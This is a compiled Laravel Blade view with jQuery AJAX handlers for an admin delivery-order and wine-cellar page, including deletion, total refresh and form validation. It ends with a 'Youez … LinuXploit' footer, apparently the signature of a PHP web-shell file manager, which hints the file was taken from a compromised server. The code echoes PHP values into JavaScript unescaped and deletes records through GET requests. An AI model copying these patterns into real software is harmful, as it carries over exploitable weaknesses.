		$(document).on('click', '.deleteHistorico', function(){
			$tr = $(this).closest('tr');
			$.ajax({
				url:'/admin/pedido-entrega/delete-historico/'+$tr.find('[name="historico-edit-id[]"]').val(),
				type:'GET',
				beforeSend:function(){
					$('.carregando').fadeIn();
				},
				success:function(data){
					$('.carregando').fadeOut();
					if(data.status){
						$tr.remove();
						alertUtil.alertSuccess(data.message);
					}else{
						alertUtil.alertWarning(data.message);
					}
				}
			});
			
		});

		<?php if(isset($pedido_entrega)){ ?>

		$(document).on('click', '#btn-atualizar-adega', function(){

			$.ajax({
				url:'/admin/adega/atualiza-adega',
				type:'POST',
				data : {id_adega : '<?php echo $pedido_entrega->id_adega;?>', id_cliente : '<?php echo $pedido_entrega->adega->id_cliente;?>'},
				beforeSend:function(){
					$('.carregando').fadeIn();
				},
				success:function(data){
					$('.carregando').fadeOut();
					if(data.status){
						alertUtil.alertSuccess(data.message);
						$('#btn-atualizar-adega').hide();
						$('#adega_quantidade_pedidos').text(data.quantidade_pedidos);
						$('#adega_quantidade_produtos').text(data.quantidade_produtos);
						$('#adega_valor_total').text(data.valor_total);
					}else{
						alertUtil.alertWarning(data.message);
					}
				}
			});
			
		});

		$(document).on('click', '.deleteProdutoPedido', function(){

			var $tr        = $(this).closest('tr');
			var id_produto = $(this).data('produto-id');

			$.ajax({
				url:'/admin/pedido-entrega/delete-produto-pedido',
				type:'POST',
				data : {id_adega : '<?php echo $pedido_entrega->id_adega;?>', id_cliente : '<?php echo $pedido_entrega->adega->id_cliente;?>', id_produto : id_produto},
				beforeSend:function(){
					$('.carregando').fadeIn();
				},
				success:function(data){
					$('.carregando').fadeOut();
					if(data.status){
						alertUtil.alertSuccess(data.message);
						$tr.remove();
						$('#adega_quantidade_pedidos').text(data.quantidade_pedidos);
						$('#adega_quantidade_produtos').text(data.quantidade_produtos);
						$('#adega_valor_total').text(data.valor_total);
					}else{
						alertUtil.alertWarning(data.message);
					}
				}
			});
			
		});
		<?php } ?>


		$('.fixed-bar [type="submit"]').click(function(e){
			e.preventDefault();

			var wrongValidation = 0;
			var inputsNumber = 0;
			$('#mainForm [required]').each(function(){
				//console.log(tinyMCE.editors[$(this).attr('id')].getContent());
				if(!$(this).val() || ($(this).is('textarea') && $(this).hasClass('tinymce') && !tinyMCE.editors[$(this).attr('id')].getContent())){
					inputsNumber++;
					$(this).css('border-color', '#dd4b39');
					if($(this).is('textarea') && $(this).hasClass('tinymce')){
						if(!tinyMCE.editors[$(this).attr('id')].getContent()){
							$(this).prev().css('border-color', '#dd4b39');
						}else{
							wrongValidation++;
						}
					}
				}
			});
			if(inputsNumber > wrongValidation){
				$('[href="#info-tab"]').closest('ul').find('li.active').removeClass('active');
				$('[href="#info-tab"]').closest('li').attr('class', 'active');
				$('.tab-content .tab-pane').removeClass('in active');
				$('#info-tab').addClass('in active');
				alertUtil.alertError('Verifique os erros do formulário.');
			}else{
				$('#mainForm').submit();
			}
		});

		$('.select2').select2();

		$('#id_pedido_entrega_rastreamento').select2();
	});
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make($current_template, array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit